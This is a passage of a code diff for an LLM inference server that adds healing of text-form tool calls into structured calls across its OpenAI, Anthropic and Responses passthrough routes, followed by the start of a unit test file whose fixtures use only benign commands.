core.inference.passthrough_healing import ( + StreamToolCallHealer, + heal_gate, + heal_openai_message, + heal_openai_message_events, + nudge_enabled, + nudge_messages, + nudge_should_retry, + response_has_promotable_calls, +) from core.inference.providers import get_base_url from core.inference.external_provider import ExternalProviderClient from core.inference.chat_templates import resolve_effective_chat_template_override @@ -8065,6 +8075,13 @@ def _build_chat_request( if isinstance(_tpl_kw, dict) and "enable_thinking" in _tpl_kw: chat_kwargs["enable_thinking"] = bool(_tpl_kw["enable_thinking"]) explicit_enable_thinking = True + # auto_heal_tool_calls / nudge_tool_calls are not typed on + # ResponsesRequest; lift them from the extra-body so passthrough + # healing (and the opt-in nudge) honor them on both paths. + if isinstance(_extra.get("auto_heal_tool_calls"), bool): + chat_kwargs["auto_heal_tool_calls"] = _extra["auto_heal_tool_calls"] + if isinstance(_extra.get("nudge_tool_calls"), bool): + chat_kwargs["nudge_tool_calls"] = _extra["nudge_tool_calls"] if isinstance(payload.reasoning, dict): effort = payload.reasoning.get("effort") @@ -8299,16 +8316,112 @@ async def _responses_stream( parse_think_markers = _responses_should_parse_think_markers(chat_req, llama_backend) ) reasoning_state: dict[str, Any] = {"output_index": None, "item_id": None, "opened": False} - message_state: dict[str, Any] = {"output_index": None, "item_id": None, "opened": False} + message_state: dict[str, Any] = { + "output_index": None, + "item_id": None, + "opened": False, + "text": "", + } + # Message items already closed mid-stream (a healed tool call splits + # the assistant text into separate message items, as native Responses + # streams do). Kept for the final response.completed snapshot. + closed_message_states: list[dict] = [] # Per-tool-call state keyed by Chat Completions `tool_calls[].index`, # stable across chunks for the same call. Values: # {output_index, item_id, call_id, name, arguments, opened} tool_call_state: dict[int, dict] = {} next_output_index = 0 + # Text-form tool calls promoted back to structured calls (declared + # client tools only); dormant once grammar-mode structured deltas appear. + _allowed_tools = heal_gate( + getattr(chat_req, "auto_heal_tool_calls", None), + body.get("tools"), + body.get("tool_choice"), + ) + healer = StreamToolCallHealer(_allowed_tools, body.get("tools")) if _allowed_tools else None + healed_tc_index = 0 + + def _healed_tc(call: dict): + # Chat-delta shape for a healed call. Indexes live in a disjoint + # range so a healed call can never merge into a structured call's + # state slot; parallel_tool_calls=false caps healed calls too (the + # upstream cap ran before injection). + nonlocal healed_tc_index + if payload.parallel_tool_calls is False and healed_tc_index >= 1: + return None + tc = { + "index": 1_000_000 + healed_tc_index, + "id": call["id"], + "type": "function", + "function": call["function"], + } + healed_tc_index += 1 + return tc def _sse(event_name: str, payload: dict) -> str: return f"event: {event_name}\ndata: {json.dumps(payload)}\n\n" + def _tool_call_delta_events(tc: dict) -> list: + # One Chat Completions tool_calls delta -> Responses SSE events, + # allocating/merging per-call state (shared by the structured loop + # and the healer's promoted calls). + events = [] + idx = tc.get("index", 0) + st = tool_call_state.get(idx) + fn = tc.get("function") or {} + if st is None: + # First chunk for this tool call -- allocate an + # output_index and emit output_item.added. + st = { + "output_index": _claim_output_index(), + "item_id": f"fc_{uuid.uuid4().hex[:12]}", + "call_id": tc.get("id") or "", + "name": fn.get("name") or "", + "arguments": "", + "opened": False, + } + tool_call_state[idx] = st + else: + # Later chunks sometimes carry id/name only once; merge + # when present. + if tc.get("id") and not st["call_id"]: + st["call_id"] = tc["id"] + if fn.get("name") and not st["name"]: + st["name"] = fn["name"] + + if not st["opened"] and st["call_id"] and st["name"]: + item_added = { + "type": "response.output_item.added", + "output_index": st["output_index"], + "item": { + "type": "function_call", + "id": st["item_id"], + "status": "in_progress", + "call_id": st["call_id"], + "name": st["name"], + "arguments": "", + }, + } + events.append(_sse("response.output_item.added", item_added)) + st["opened"] = True + + arg_delta = fn.get("arguments") or "" + if arg_delta and st["opened"]: + st["arguments"] += arg_delta + args_delta_event = { + "type": "response.function_call_arguments.delta", + "item_id": st["item_id"], + "output_index": st["output_index"], + "delta": arg_delta, + } + events.append(_sse("response.function_call_arguments.delta", args_delta_event)) + elif arg_delta: + # Buffer args until we can open the item (some models + # send id/name in the same chunk as the first arg delta; + # if not, stash). + st["arguments"] += arg_delta + return events + def _claim_output_index() -> int: nonlocal next_output_index output_index = next_output_index @@ -8393,6 +8506,98 @@ async def _responses_stream( ), ] + def _close_message_item() -> list[str]: + """Close the open message item so later text opens a fresh one. + + Emits the same done-event triplet the end-of-stream close loop + would, records the item for the final snapshot, and resets the + state in place. No-op when no message item is open. + """ + if not message_state["opened"]: + return [] + text = message_state["text"] + events = [ + _sse( + "response.output_text.done", + { + "type": "response.output_text.done", + "item_id": message_state["item_id"], + "output_index": message_state["output_index"], + "content_index": 0, + "text": text, + }, + ), + _sse( + "response.content_part.done", + { + "type": "response.content_part.done", + "item_id": message_state["item_id"], + "output_index": message_state["output_index"], + "content_index": 0, + "part": {"type": "output_text", "text": text, "annotations": []}, + }, + ), + _sse( + "response.output_item.done", + { + "type": "response.output_item.done", + "output_index": message_state["output_index"], + "item": { + "type": "message", + "id": message_state["item_id"], + "status": "completed", + "role": "assistant", + "content": [{"type": "output_text", "text": text, "annotations": []}], + }, + }, + ), + ] + closed_message_states.append(dict(message_state)) + message_state.update( + {"output_index": None, "item_id": None, "opened": False, "text": ""} + ) + return events + + def _healed_event_sse(events) -> list[str]: + """Serialize healer events preserving their order. + + Text around a healed call must keep its position relative to the + function_call item (output indexes are claimed in emission order), + so never split an event list into all-text-then-all-calls. A healed + call also CLOSES any open message item, so trailing text opens a + fresh message with a later output index, exactly like a native + Responses stream that interleaves messages and calls. + """ + nonlocal full_text + out: list[str] = [] + for kind, value in events: + if kind == "text": + if not value: + continue + out.extend(_ensure_message_open()) + full_text += value + message_state["text"] += value + api_monitor.append_reply(monitor_id, value) + out.append( + _sse( + "response.output_text.delta", + { + "type": "response.output_text.delta", + "item_id": message_state["item_id"], + "output_index": message_state["output_index"], + "content_index": 0, + "delta": value, + }, + ) + ) + else: + tc = _healed_tc(value) + if tc is None: + continue + out.extend(_close_message_item()) + out.extend(_tool_call_delta_events(tc)) + return out + def _snapshot_output() -> list[dict]: """Snapshot of all completed output items for response.completed.""" indexed_items: list[tuple[int, dict]] = [] @@ -8409,19 +8614,23 @@ async def _responses_stream( }, ) ) - if message_state["opened"]: + # Closed copies keep opened=True (snapshotted before reset); the + # live state contributes only when a message is currently open. + for msg_st in [*closed_message_states, message_state]: + if not msg_st["opened"]: + continue indexed_items.append( ( - message_state["output_index"], + msg_st["output_index"], { "type": "message", - "id": message_state["item_id"], + "id": msg_st["item_id"], "status": "completed", "role": "assistant", "content": [ { "type": "output_text", - "text": full_text, + "text": msg_st["text"], "annotations": [], } ], @@ -8605,10 +8814,30 @@ async def _responses_stream( "delta": reasoning_delta, }, ) + # Heal text-form tool calls in the visible stream (never in + # reasoning text): promoted calls join the structured tc loop + # below through the same state machinery, and healer events are + # emitted IN ORDER so text after a healed call never jumps ahead + # of the function_call item. Once a structured delta arrives, + # grammar mode worked and the healer goes dormant. + if healer is not None and not healer.dormant: + healed_events = [] + if delta.get("tool_calls"): + # Held text preceded the structured call; the call's own + # deltas follow in the structured loop below. + healed_events = healer.structured_tool_call_seen() + if visible_delta: + healed_events.append(("text", visible_delta)) + elif visible_delta: + healed_events = healer.feed(visible_delta) + visible_delta = "" + for event in _healed_event_sse(healed_events): + yield event if visible_delta: for event in _ensure_message_open(): yield event full_text += visible_delta + message_state["text"] += visible_delta api_monitor.append_reply(monitor_id, visible_delta) yield _sse( "response.output_text.delta", @@ -8622,60 +8851,19 @@ async def _responses_stream( ) for tc in delta.get("tool_calls") or []: - idx = tc.get("index", 0) - st = tool_call_state.get(idx) - fn = tc.get("function") or {} - if st is None: - # First chunk for this tool call -- allocate an - # output_index and emit output_item.added. - st = { - "output_index": _claim_output_index(), - "item_id": f"fc_{uuid.uuid4().hex[:12]}", - "call_id": tc.get("id") or "", - "name": fn.get("name") or "", - "arguments": "", - "opened": False, - } - tool_call_state[idx] = st - else: - # Later chunks sometimes carry id/name only once; merge - # when present. - if tc.get("id") and not st["call_id"]: - st["call_id"] = tc["id"] - if fn.get("name") and not st["name"]: - st["name"] = fn["name"] - - if not st["opened"] and st["call_id"] and st["name"]: - item_added = { - "type": "response.output_item.added", - "output_index": st["output_index"], - "item": { - "type": "function_call", - "id": st["item_id"], - "status": "in_progress", - "call_id": st["call_id"], - "name": st["name"], - "arguments": "", - }, - } - yield _sse("response.output_item.added", item_added) - st["opened"] = True - - arg_delta = fn.get("arguments") or "" - if arg_delta and st["opened"]: - st["arguments"] += arg_delta - args_delta_event = { - "type": "response.function_call_arguments.delta", - "item_id": st["item_id"], - "output_index": st["output_index"], - "delta": arg_delta, - } - yield _sse("response.function_call_arguments.delta", args_delta_event) - elif arg_delta: - # Buffer args until we can open the item (some models - # send id/name in the same chunk as the first arg delta; - # if not, stash). - st["arguments"] += arg_delta + if ( + payload.parallel_tool_calls is False + and healed_tc_index >= 1 + and tc.get("index", 0) not in tool_call_state + ): + # A healed call already consumed the single allowed slot; + # _drop_parallel_tool_call_deltas only sees native indexes, + # so a native index-0 call would still open a second + # function_call item. Skip it (and its later argument + # deltas, which never allocate a state either). + continue + for event in _tool_call_delta_events(tc): + yield event _apply_usage(chunk_data.get("usage")) except asyncio.CancelledError: @@ -8731,10 +8919,19 @@ async def _responses_stream( "delta": final_reasoning, }, ) + # Last-chance heal of any held residue (e.g. a tool block the model + # never closed) before the trailing visible text is flushed; events + # keep healer order so trailing text stays behind a healed call. + if healer is not None: + events = (healer.feed(final_visible) if final_visible else []) + healer.finalize() + final_visible = "" + for event in _healed_event_sse(events): + yield event if final_visible: for event in _ensure_message_open(): yield event full_text += final_visible + message_state["text"] += final_visible api_monitor.append_reply(monitor_id, final_visible) yield _sse( "response.output_text.delta", @@ -8793,6 +8990,10 @@ async def _responses_stream( continue if kind == "message": + # Per-item text: message items closed mid-stream (healed-call + # rotation) already emitted their done events, so this state + # carries only its own text, not the whole stream's. + _msg_text = st["text"] yield _sse( "response.output_text.done", { @@ -8800,7 +9001,7 @@ async def _responses_stream( "item_id": st["item_id"], "output_index": st["output_index"], "content_index": 0, - "text": full_text, + "text": _msg_text, }, ) yield _sse( @@ -8810,7 +9011,7 @@ async def _responses_stream( "item_id": st["item_id"], "output_index": st["output_index"], "content_index": 0, - "part": {"type": "output_text", "text": full_text, "annotations": []}, + "part": {"type": "output_text", "text": _msg_text, "annotations": []}, }, ) yield _sse( @@ -8824,7 +9025,7 @@ async def _responses_stream( "status": "completed", "role": "assistant", "content": [ - {"type": "output_text", "text": full_text, "annotations": []} + {"type": "output_text", "text": _msg_text, "annotations": []} ], }, }, @@ -9430,6 +9631,7 @@ async def anthropic_messages( session_id = payload.session_id, cancel_id = payload.cancel_id, disable_parallel_tool_use = _disable_parallel, + auto_heal_tool_calls = payload.auto_heal_tool_calls, ) ) return await _monitored_anthropic( @@ -9449,6 +9651,8 @@ async def anthropic_messages( presence_penalty = presence_penalty, tool_choice = openai_tool_choice, disable_parallel_tool_use = _disable_parallel, + auto_heal_tool_calls = payload.auto_heal_tool_calls, + nudge_tool_calls = payload.nudge_tool_calls, ) ) @@ -10019,6 +10223,7 @@ async def _anthropic_passthrough_stream( session_id = None, cancel_id = None, disable_parallel_tool_use = False, + auto_heal_tool_calls = None, ): """Streaming client-side pass-through: forward tools to llama-server and translate its stream to Anthropic SSE without executing anything.""" @@ -10055,6 +10260,16 @@ async def _anthropic_passthrough_stream( async def _stream(): emitter = AnthropicPassthroughEmitter() + # Promote text-form tool calls (declared client tools only) into + # tool_use blocks; verbatim behavior when healing is off or no tools. + # tool_choice arrives here already converted to the OpenAI shape. + _allowed_tools = heal_gate(auto_heal_tool_calls, openai_tools, tool_choice) + if _allowed_tools: + emitter.enable_healing( + _allowed_tools, + openai_tools, + disable_parallel_tool_use = disable_parallel_tool_use, + ) for line in emitter.start(message_id, model_name, input_tokens = input_tokens): yield line @@ -10191,6 +10406,8 @@ async def _anthropic_passthrough_non_streaming( presence_penalty = None, tool_choice = "auto", disable_parallel_tool_use = False, + auto_heal_tool_calls = None, + nudge_tool_calls = None, ): """Non-streaming client-side pass-through.""" target_url = f"{llama_backend.base_url}/v1/chat/completions" @@ -10223,34 +10440,98 @@ async def _anthropic_passthrough_non_streaming( ) data = resp.json() + # tool_choice arrives here already converted to the OpenAI shape. + _allowed_tools = heal_gate(auto_heal_tool_calls, openai_tools, tool_choice) + + # Opt-in single-retry nudge (mirrors the OpenAI passthrough): the model + # tried to call a tool but nothing usable came out; re-ask once with the + # prompt prefix intact so llama-server's KV cache is reused. + if ( + _allowed_tools + and nudge_enabled(nudge_tool_calls) + and nudge_should_retry(data, _allowed_tools, openai_tools) + ): + retry_body = { + **body, + "messages": [*body.get("messages", []), *nudge_messages(data, _allowed_tools)], + } + try: + retry_resp = await nonstreaming_client().post( + target_url, + json = retry_body, + timeout = _llama_non_streaming_generation_timeout(), + ) + if retry_resp.status_code == 200: + retry_data = retry_resp.json() + if response_has_promotable_calls(retry_data, _allowed_tools, openai_tools): + data = retry_data + except (httpx.RequestError, ValueError) as exc: + logger.warning("tool-call nudge retry failed; keeping original: %s", exc) + choice = (data.get("choices") or [{}])[0] message = choice.get("message") or {} finish_reason = choice.get("finish_reason") - content_blocks = [] - text = message.get("content") or "" - if text: - text = _TOOL_XML_RE.sub("", text).strip() - if text: - content_blocks.append(AnthropicResponseTextBlock(text = text)) + healing_active = bool(_allowed_tools) + healed_events = ( + heal_openai_message_events(message, _allowed_tools, openai_tools) + if healing_active + else None + ) - tool_calls = message.get("tool_calls") or [] - # disable_parallel_tool_use: keep only the first tool_use block. - if disable_parallel_tool_use and len(tool_calls) > 1: - tool_calls = tool_calls[:1] - for tc in tool_calls: - fn = tc.get("function") or {} - try: - args = json.loads(fn.get("arguments", "{}")) - except json.JSONDecodeError: - args = {} - content_blocks.append( - AnthropicResponseToolUseBlock( - id = anthropic_tool_use_id(tc.get("id")), - name = fn.get("name", ""), - input = args, + content_blocks = [] + tool_calls = [] + if healed_events: + emitted_tool_uses = 0 + for kind, value in healed_events: + if kind == "text": + text = str(value).strip() + if text: + content_blocks.append(AnthropicResponseTextBlock(text = text)) + continue + if disable_parallel_tool_use and emitted_tool_uses >= 1: + continue + fn = value.get("function") or {} + try: + args = json.loads(fn.get("arguments", "{}")) + except json.JSONDecodeError: + args = {} + tool_calls.append(value) + emitted_tool_uses += 1 + content_blocks.append( + AnthropicResponseToolUseBlock( + id = anthropic_tool_use_id(value.get("id")), + name = fn.get("name", ""), + input = args, + ) + ) + else: + text = message.get("content") or "" + if text: + # Keep unpromoted bytes when healing is active; legacy stripping is + # only for opted-out or no-client-tool requests. + if not healing_active: + text = _TOOL_XML_RE.sub("", text) + text = text.strip() + if text: + content_blocks.append(AnthropicResponseTextBlock(text = text)) + + tool_calls = message.get("tool_calls") or [] + if disable_parallel_tool_use and len(tool_calls) > 1: + tool_calls = tool_calls[:1] + for tc in tool_calls: + fn = tc.get("function") or {} + try: + args = json.loads(fn.get("arguments", "{}")) + except json.JSONDecodeError: + args = {} + content_blocks.append( + AnthropicResponseToolUseBlock( + id = anthropic_tool_use_id(tc.get("id")), + name = fn.get("name", ""), + input = args, + ) ) - ) stop_reason = openai_finish_to_anthropic_stop(finish_reason, had_tool_calls = bool(tool_calls)) @@ -10598,6 +10879,13 @@ async def _openai_passthrough_stream( body = _build_openai_passthrough_body( payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend ) + # Text-form tool calls from small models get promoted to structured calls on + # the way back (declared client tools only); requests without tools or with + # auto_heal_tool_calls=false keep the verbatim relay. tool_choice constrains + # the allowlist ("none" disables, a forced function narrows to it). + _allowed_tools = heal_gate( + payload.auto_heal_tool_calls, body.get("tools"), body.get("tool_choice") + ) _cancel_keys = (payload.cancel_id, payload.session_id, completion_id) _tracker = _TrackedCancel(cancel_event, *_cancel_keys) @@ -10700,9 +10988,14 @@ async def _openai_passthrough_stream( last_chunk_id = completion_id last_chunk_model = model_name last_chunk_created = int(time.time()) + healer = ( + StreamToolCallHealer(_allowed_tools, body.get("tools")) if _allowed_tools else None + ) + healed_call_index = 0 def _synthetic_finish_line() -> str: - finish_reason = "tool_calls" if saw_tool_call_delta else "stop" + healed = healer is not None and healer.healed + finish_reason = "tool_calls" if (saw_tool_call_delta or healed) else "stop" chunk = ChatCompletionChunk( id = last_chunk_id, created = last_chunk_created, @@ -10716,6 +11009,108 @@ async def _openai_passthrough_stream( ) return f"data: {chunk.model_dump_json(exclude_none = True)}" + def _healer_sse_lines(events) -> list: + # Serialize healer events as chunks matching the upstream stream's + # id/model/created so clients see one coherent completion. + nonlocal healed_call_index + lines = [] + for kind, value in events: + if kind == "text": + if not value: + continue + delta = {"content": value} + else: + # parallel_tool_calls=false caps healed calls too (the SSE + # line cap only sees structured upstream deltas). + if payload.parallel_tool_calls is False and healed_call_index >= 1: + continue + delta = { + "tool_calls": [ + { + "index": healed_call_index, + "id": value["id"], + "type": "function", + "function": value["function"], + } + ] + } + healed_call_index += 1 + chunk = { + "id": last_chunk_id, + "object": "chat.completion.chunk", + "created": last_chunk_created, + "model": last_chunk_model, + "choices": [{"index": 0, "delta": delta, "finish_reason": None}], + } + lines.append("data: " + json.dumps(chunk, ensure_ascii = False)) + return lines + + def _heal_transform(chunk_data: dict, raw_line: str) -> list: + """SSE lines to emit in place of one upstream line (healing on).""" + choices = chunk_data.get("choices") + if not (isinstance(choices, list) and choices and isinstance(choices[0], dict)): + return [raw_line] + choice = choices[0] + delta = choice.get("delta") + delta = delta if isinstance(delta, dict) else {} + if delta.get("tool_calls"): + # Structured call streamed: grammar mode worked. Flush any held + # text (it preceded the call) and relay verbatim from here on. + lines = _healer_sse_lines(healer.structured_tool_call_seen()) + if healed_call_index: + if payload.parallel_tool_calls is False: + # A healed call already consumed the single allowed + # slot; the upstream SSE cap keeps native index 0, so + # drop the native call here or the client gets two. + del delta["tool_calls"] + if delta or choice.get("finish_reason") or chunk_data.get("usage"): + lines.append("data: " + json.dumps(chunk_data, ensure_ascii = False)) + return lines + # A healed call already went out on index 0..n-1; OpenAI + # clients merge tool-call deltas by index, so shift the + # native calls into the next indexes or they would merge + # into the healed call. + for tc in delta["tool_calls"]: + if isinstance(tc, dict) and isinstance(tc.get("index"), int): + tc["index"] += healed_call_index + return lines + ["data: " + json.dumps(chunk_data, ensure_ascii = False)] + return lines + [raw_line] + content = delta.get("content") + finish = choice.get("finish_reason") + if not isinstance(content, str) or not content: + if not finish: + return [raw_line] + # Finish chunk: last-chance heal of the residue, and rewrite a + # "stop" into "tool_calls" when text-form calls were promoted. + lines = _healer_sse_lines(healer.finalize()) + if healer.healed and finish == "stop": + choice["finish_reason"] = "tool_calls" + return lines + ["data: " + json.dumps(chunk_data, ensure_ascii = False)] + return lines + [raw_line] + events = healer.feed(content) + if finish: + events += healer.finalize() + if not finish and events == [("text", content)]: + # Nothing held or promoted: the healer passed the chunk + # through whole, so keep the verbatim upstream bytes. + return [raw_line] + del delta["content"] + prefix_lines = [] + if delta: + prefix_chunk = {k: v for k, v in chunk_data.items() if k != "usage"} + prefix_choice = dict(choice) + prefix_choice["delta"] = dict(delta) + prefix_choice["finish_reason"] = None + prefix_chunk["choices"] = [prefix_choice] + prefix_lines.append("data: " + json.dumps(prefix_chunk, ensure_ascii = False)) + delta.clear() + lines = prefix_lines + _healer_sse_lines(events) + if delta or finish or chunk_data.get("usage"): + if healer.healed and finish == "stop": + choice["finish_reason"] = "tool_calls" + lines.append("data: " + json.dumps(chunk_data, ensure_ascii = False)) + return lines + try: lines_iter = resp.aiter_lines() async for raw_line in _aiter_llama_stream_items( @@ -10732,6 +11127,14 @@ async def _openai_passthrough_stream( data_text = raw_line[6:].strip() if data_text == "[DONE]": saw_done = True + # Upstream ended without a finish chunk: heal the residue + # first so the synthetic finish sees healer.healed. + if healer is not None and not saw_stream_error: + for held_line in _healer_sse_lines(healer.finalize()): + _monitor_openai_sse_line( + monitor_id, held_line, llama_backend.context_length + ) + yield held_line + "\n\n" if ( not saw_finish_reason and not saw_stream_error @@ -10787,13 +11190,18 @@ async def _openai_passthrough_stream( # emit a successful finish_reason after a failed stream. if _monitor_openai_error_message(chunk_data): saw_stream_error = True - monitor_event = _monitor_openai_sse_line( - monitor_id, - raw_line, - llama_backend.context_length, - ) - if monitor_event == "error": - saw_stream_error = True + # With healing active, a content-bearing line may be replaced by + # held/promoted chunks; otherwise the single upstream line + # relays verbatim (monitored exactly as emitted either way). + if ( + healer is not None + and not healer.dormant + and isinstance(chunk_data, dict) + and not saw_stream_error + ): + out_lines = _heal_transform(chunk_data, raw_line) + else: + out_lines = [raw_line] # If a trailing usage-only chunk (include_usage) arrives before # any finish chunk, emit the synthetic finish first so the order # stays finish -> usage -> [DONE], matching the other streams. @@ -10807,23 +11215,46 @@ async def _openai_passthrough_stream( and not saw_stream_error and not cancel_event.is_set() ): + if healer is not None: + # Residue must precede the finish it may upgrade. + held = _healer_sse_lines(healer.finalize()) + for held_line in held: + _monitor_openai_sse_line( + monitor_id, held_line, llama_backend.context_length + ) + yield held_line + "\n\n" finish_line = _synthetic_finish_line() _monitor_openai_sse_line( monitor_id, finish_line, llama_backend.context_length ) yield finish_line + "\n\n" saw_finish_reason = True - # Relay verbatim to preserve llama-server's native id, - # finish_reason, delta.tool_calls, and usage chunks. - yield raw_line + "\n\n" - if monitor_event == "done": - monitor_done = True + for out_line in out_lines: + monitor_event = _monitor_openai_sse_line( + monitor_id, + out_line, + llama_backend.context_length, + ) + if monitor_event == "error": + saw_stream_error = True + # Relay to preserve llama-server's native id, + # finish_reason, delta.tool_calls, and usage chunks. + yield out_line + "\n\n" + if monitor_event == "done": + monitor_done = True + if monitor_done: break if not saw_done and not saw_stream_error and not cancel_event.is_set(): # Synthesize a finish chunk only if one was not already # emitted (e.g. before a trailing usage-only chunk), but # always close with [DONE] whenever the upstream omitted it, # so the stream ends on the [DONE] sentinel either way. + if healer is not None: + for held_line in _healer_sse_lines(healer.finalize()): + _monitor_openai_sse_line( + monitor_id, held_line, llama_backend.context_length + ) + yield held_line + "\n\n" if not saw_finish_reason: finish_line = _synthetic_finish_line() _monitor_openai_sse_line( @@ -10962,6 +11393,9 @@ async def _openai_passthrough_non_streaming( _guided_fence = bool((payload.model_extra or {}).get("_unsloth_guided_fence")) _do_fence = _guided_fence and _extract_response_format(payload) is not None _cap_parallel = payload.parallel_tool_calls is False + _allowed_tools = heal_gate( + payload.auto_heal_tool_calls, body.get("tools"), body.get("tool_choice") + ) try: data = resp.json() @@ -10974,6 +11408,33 @@ async def _openai_passthrough_non_streaming( api_monitor.finish(monitor_id) return Response(content = resp.content, media_type = "application/json") + # Opt-in single-retry nudge: the model clearly tried to call a tool (signal + # present) but nothing parseable/declared came out, so re-ask once with the + # original prompt prefix intact (llama-server reuses the slot's KV cache) + # plus a two-message nudge suffix. The retry replaces the original response + # only when it actually yields a usable call. + if ( + _allowed_tools + and nudge_enabled(payload.nudge_tool_calls) + and nudge_should_retry(data, _allowed_tools, body.get("tools")) + ): + retry_body = { + **body, + "messages": [*body.get("messages", []), *nudge_messages(data, _allowed_tools)], + } + try: + retry_resp = await nonstreaming_client().post( + target_url, + json = retry_body, + timeout = _llama_non_streaming_generation_timeout(), + ) + if retry_resp.status_code == 200: + retry_data = retry_resp.json() + if response_has_promotable_calls(retry_data, _allowed_tools, body.get("tools")): + resp, data = retry_resp, retry_data + except (httpx.RequestError, ValueError) as exc: + logger.warning("tool-call nudge retry failed; keeping original: %s", exc) + changed = False for choice in data.get("choices", []): if not isinstance(choice, dict): @@ -10982,6 +11443,17 @@ async def _openai_passthrough_non_streaming( if not isinstance(msg, dict): continue + # Small models emit tool calls as text instead of structured tool_calls; + # promote them (declared client tools only) so the agent sees a real call. + # Truncation wins over the upgrade (same rule as the streaming and + # Anthropic paths): a call cut off at max_tokens keeps + # finish_reason="length" so the client knows the arguments may be + # incomplete, while the healed call itself stays attached. + if _allowed_tools and heal_openai_message(msg, _allowed_tools, body.get("tools")): + if choice.get("finish_reason") == "stop": + choice["finish_reason"] = "tool_calls" + changed = True + # OpenAI requires content=null on a pure tool-call turn; llama-server # emits content="". if msg.get("tool_calls") and msg.get("content") == "": diff --git a/studio/backend/tests/test_passthrough_healing.py b/studio/backend/tests/test_passthrough_healing.py new file mode 100644 index 0000000000..06316e2243 --- /dev/null +++ b/studio/backend/tests/test_passthrough_healing.py @@ -0,0 +1,1358 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Unit tests for core/inference/passthrough_healing.py: promoting text-form +tool calls back into structured calls on the client-tool passthrough. The +route-level wiring (OpenAI / Anthropic / Responses endpoints) is covered in +their own endpoint test files; this file exercises the shared state machine +and helpers directly. +""" + +from __future__ import annotations + +import json +import sys +from pathlib import Path + +import pytest + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +from core.inference.passthrough_healing import ( # noqa: E402 + StreamToolCallHealer, + heal_gate, + heal_openai_message, + nudge_messages, + nudge_should_retry, + response_has_promotable_calls, +) + +TOOLS = [ + {"type": "function", "function": {"name": "Bash", "parameters": {}}}, + {"type": "function", "function": {"name": "Read", "parameters": {}}}, +] + +BASH_COMMAND_TOOL = { + "type": "function", + "function": { + "name": "Bash", + "parameters": { + "type": "object", + "properties": {"command": {"type": "string"}}, + "required": ["command"], + }, + }, +} +XML_BASH = '{"name":"Bash","arguments":{"cmd":"ls"}}' +XML_UNDECLARED = '{"name":"Nuke","arguments":{}}' + + +def _events_text(events): + return "".join(text for kind, text in events if kind == "text") + + +def _events_calls(events): + return [call for kind, call in events if kind == "tool_call"] + + +class TestHealGate: + def test_returns_declared_names(self): + assert heal_gate(None, TOOLS) == {"Bash", "Read"} + assert heal_gate(True, TOOLS) == {"Bash", "Read"} + + def test_opt_out_and_no_tools(self): + assert heal_gate(False, TOOLS) is None + assert heal_gate(None, []) is None + assert heal_gate(None, None) is None + + def test_malformed_tool_entries_ignored(self): + assert heal_gate(None, ["nonsense", {"function": "x"}, {}]) is None + + def test_tool_choice_none_disables(self): + assert heal_gate(None, TOOLS, "none") is None + + def test_tool_choice_forced_function_narrows_allowlist(self): + forced = {"type": "function", "function": {"name": "Bash"}} + assert heal_gate(None, TOOLS, forced) == {"Bash"} + + def test_tool_choice_forced_undeclared_function_disables(self): + forced = {"type": "function", "function": {"name": "Nuke"}} + assert heal_gate(None, TOOLS, forced) is None + + def test_tool_choice_auto_and_required_keep_full_set(self): + assert heal_gate(None, TOOLS, "auto") == {"Bash", "Read"} + assert heal_gate(None, TOOLS, "required") == {"Bash", "Read"} + + def test_tool_choice_unrecognized_dict_keeps_full_set(self): + assert heal_gate(None, TOOLS, {"type": "function"}) == {"Bash", "Read"} + + +class TestHealOpenaiMessage: + def test_promotes_xml_and_strips_content(self): + msg = {"role": "assistant", "content": XML_BASH} + assert heal_openai_message(msg, {"Bash"}) is True + assert msg["content"] is None + (call,) = msg["tool_calls"] + assert call["function"]["name"] == "Bash" + assert json.loads(call["function"]["arguments"]) == {"cmd": "ls"} + + def test_keeps_surrounding_prose(self): + msg = {"role": "assistant", "content": f"Let me check.\n{XML_BASH}"} + assert heal_openai_message(msg, {"Bash"}) is True + assert msg["content"] == "Let me check." + + def test_undeclared_name_not_promoted(self): + msg = {"role": "assistant", "content": XML_UNDECLARED} + assert heal_openai_message(msg, {"Bash"}) is False + assert msg["content"] == XML_UNDECLARED + assert "tool_calls" not in msg + + def test_structured_calls_untouched(self): + msg = {"role": "assistant", "content": XML_BASH, "tool_calls": [{"id": "x"}]} + assert heal_openai_message(msg, {"Bash"}) is False + assert msg["content"] == XML_BASH + + def test_prose_only_untouched(self): + msg = {"role": "assistant", "content": "just an answer"} + assert heal_openai_message(msg, {"Bash"}) is False + + def test_bare_string_arguments_use_schema_key(self): + msg = { + "role": "assistant", + "content": '{"name":"Bash","arguments":"echo hi"}', + } + assert heal_openai_message(msg, {"Bash"}, [BASH_COMMAND_TOOL]) is True + args = json.loads(msg["tool_calls"][0]["function"]["arguments"]) + assert args == {"command": "echo hi"} + + def test_bare_string_arguments_decline_ambiguous_schema(self): + msg = { + "role": "assistant", + "content": '{"name":"Bash","arguments":"echo hi"}', + } + assert heal_openai_message(msg, {"Bash"}, TOOLS) is False + assert "tool_calls" not in msg + + def test_mixed_declared_and_undeclared_promotes_declared_keeps_undeclared_text(self): + # Span-exact removal: only the promoted Bash markup is dropped; the + # undeclared Nuke call's text stays in the content byte-intact. + content = f"pre {XML_BASH} mid {XML_UNDECLARED} post" + msg = {"role": "assistant", "content": content} + assert heal_openai_message(msg, {"Bash"}) is True + (call,) = msg["tool_calls"] + assert call["function"]["name"] == "Bash" + assert XML_UNDECLARED in msg["content"] + assert "pre" in msg["content"] and "post" in msg["content"] + assert XML_BASH not in msg["content"] + + def test_multiple_declared_calls_all_promoted(self): + content = f"{XML_BASH} and {XML_BASH}" + msg = {"role": "assistant", "content": content} + assert heal_openai_message(msg, {"Bash"}) is True + assert len(msg["tool_calls"]) == 2 + + def test_mixed_formats_promote_in_document_order(self): + func_read = "a.txt" + content = f"{func_read} then {XML_BASH}" + msg = {"role": "assistant", "content": content} + assert heal_openai_message(msg, {"Bash", "Read"}) is True + assert [call["function"]["name"] for call in msg["tool_calls"]] == ["Read", "Bash"] + assert msg["content"] == "then" + + def test_unparseable_closed_block_not_deleted(self): + # A closed block whose body never parses is model output, + # not a promotable call; it must survive promotion of its neighbor. + garbage = "not json at all" + content = f"{XML_BASH} {garbage}" + msg = {"role": "assistant", "content": content} + assert heal_openai_message(msg, {"Bash"}) is True + assert garbage in msg["content"] + + +class TestStreamHealer: + def 